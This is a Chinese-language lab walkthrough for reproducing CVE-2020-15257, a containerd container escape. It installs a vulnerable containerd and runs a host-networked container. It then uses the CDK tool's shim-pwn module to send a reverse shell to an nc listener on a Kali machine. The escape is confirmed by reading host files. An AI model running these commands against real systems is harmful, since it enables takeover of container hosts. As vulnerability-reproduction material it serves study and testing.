环境说明
-
宿主机:Ubuntu 16.04 LTS(代号
xenial
) -
攻击机:Kali Linux(IP:
192.168.226.133
) -
漏洞信息:CVE-2020-15257(containerd 权限绕过漏洞,影响
containerd < 1.3.9
) -
工具:CDK(容器渗透工具,v0.1.6)
一、更换中科大镜像源(加速下载)
1. 备份原有源列表
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak
2. 替换为中科大xenial
源
编辑源配置文件:
sudo vim /etc/apt/sources.list # 无vim可替换为:sudo nano /etc/apt/sources.list
删除原有内容,粘贴以下配置():
# 中科大Ubuntu 16.04(xenial)源
# 默认注释了源码仓库,如有需要可自行取消注释
deb https://mirrors.ustc.edu.cn/ubuntu/ xenial main restricted universe multiverse
# deb-src https://mirrors.ustc.edu.cn/ubuntu/ xenial main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ xenial-security main restricted universe multiverse
# deb-src https://mirrors.ustc.edu.cn/ubuntu/ xenial-security main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ xenial-updates main restricted universe multiverse
# deb-src https://mirrors.ustc.edu.cn/ubuntu/ xenial-updates main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ xenial-backports main restricted universe multiverse
# deb-src https://mirrors.ustc.edu.cn/ubuntu/ xenial-backports main restricted universe multiverse
# 预发布软件源,不建议启用
# deb https://mirrors.ustc.edu.cn/ubuntu/ xenial-proposed main restricted universe multiverse
# deb-src https://mirrors.ustc.edu.cn/ubuntu/ xenial-proposed main restricted universe multiverse
保存退出(vim:Esc
→:wq
;nano:Ctrl+O
→Enter
→Ctrl+X
)。
3. 更新软件包索引
sudo apt update
-
若提示 “GPG 签名无效”(如
NO_PUBKEY XXXXXXXX
),导入对应密钥:sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com XXXXXXXX # 替换XXXXX为报错密钥ID sudo apt update # 重新更新
二、安装 Docker 及漏洞版本 containerd
1. 安装依赖工具
sudo apt install -y ca-certificates curl software-properties-common apt-transport-https
2. 添加 Docker 官方 GPG 密钥
# 下载并转换密钥格式(适配新版apt)
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
3. 添加 Docker 源(适配 xenial)
# 添加稳定版源并绑定密钥
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu xenial stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update # 刷新索引
4. 安装指定版本(漏洞环境核心)
需安装containerd < 1.3.9
(此处用1.2.4
),搭配兼容 Docker 版本:
sudo apt install -y \
docker-ce=5:19.03.6~3-0~ubuntu-xenial \
docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial \
containerd.io=1.2.4-1
-
若出现依赖错误,修复后重试:
sudo apt -f install # 自动修复依赖 sudo apt install -y docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
5. 验证安装结果
# 检查Docker版本(需为19.03.6)
docker --version
# 检查containerd版本(需为1.2.4)
containerd --version
三、创建漏洞环境容器
1. 拉取 Ubuntu 18.04 镜像
docker pull ubuntu:18.04
2. 启动带--net=host
的容器(关键)
漏洞利用需容器共享宿主机网络命名空间:
docker run -itd --net=host --name test ubuntu:18.04 /bin/bash
-
--net=host
:容器使用宿主机网络,可访问宿主机containerd-shim
套接字 -
--name test
:指定容器名,方便后续操作
3. 确认容器状态
docker ps # 输出示例:
# CONTAINER ID IMAGE COMMAND CREATED STATUS NAMES
# e4430654470e ubuntu:18.04 "/bin/bash" About an hour ago Up About an hour test
四、上传 CDK 工具到容器
1. 宿主机下载 CDK
# 下载v0.1.6版本(复现稳定)
wget https://github.com/cdk-team/CDK/releases/download/v0.1.6/cdk_v0.1.6_linux_amd64.tar.gz
tar -zxf cdk_v0.1.6_linux_amd64.tar.gz # 解压得到cdk_linux_amd64
2. 复制到容器内
# 复制CDK到容器的/tmp目录(替换容器ID为实际ID)
docker cp cdk_linux_amd64 e4430654470e:/tmp
五、执行漏洞利用
1. 进入容器并准备 CDK
# 进入目标容器(替换容器ID为实际ID)
docker exec -it e4430654470e /bin/bash
# 赋予CDK执行权限
cd /tmp && chmod +x cdk_linux_amd64
2. 攻击机启动监听
在 Kali 攻击机上用nc
监听反向连接端口:
nc -lvp 4444 # 监听4444端口,等待反弹
3. 容器内执行逃逸命令
# 通过CDK的shim-pwn模块触发漏洞,反弹Shell到攻击机
./cdk_linux_amd64 run shim-pwn 192.168.226.133 4444
六、验证逃逸结果
若漏洞利用成功,攻击机nc
窗口会收到宿主机反向连接,通过以下方式验证是否逃逸至宿主机:
1. 攻击机连接反馈
listening on [any] 4444 ...
connect to [192.168.226.133] from (UNKNOWN) [192.168.226.154] 46826 # 192.168.226.154为宿主机IP
此时进入交互式 Shell,可直接执行命令。
2. 验证当前环境为宿主机
操作 | 宿主机特征(预期结果) | 容器特征(未成功) |
---|---|---|
hostname |
输出宿主机名(如lang-virtual-machine ) |
输出容器 ID(如e4430654470e ) |
ls /root |
显示宿主机 root 目录文件(如.bash_history ) |
提示 “No such file or directory” |
cat /etc/issue |
输出 “Ubuntu 16.04.7 LTS \n \l” | 输出 “Ubuntu 18.04.6 LTS \n \l” |
ps aux |
grep docker |
显示 docker daemon 进程(如/usr/bin/dockerd ) |
3. 成功标志
若上述命令输出符合宿主机特征,证明已从ubuntu:18.04
容器成功逃逸至宿主机,漏洞复现完成。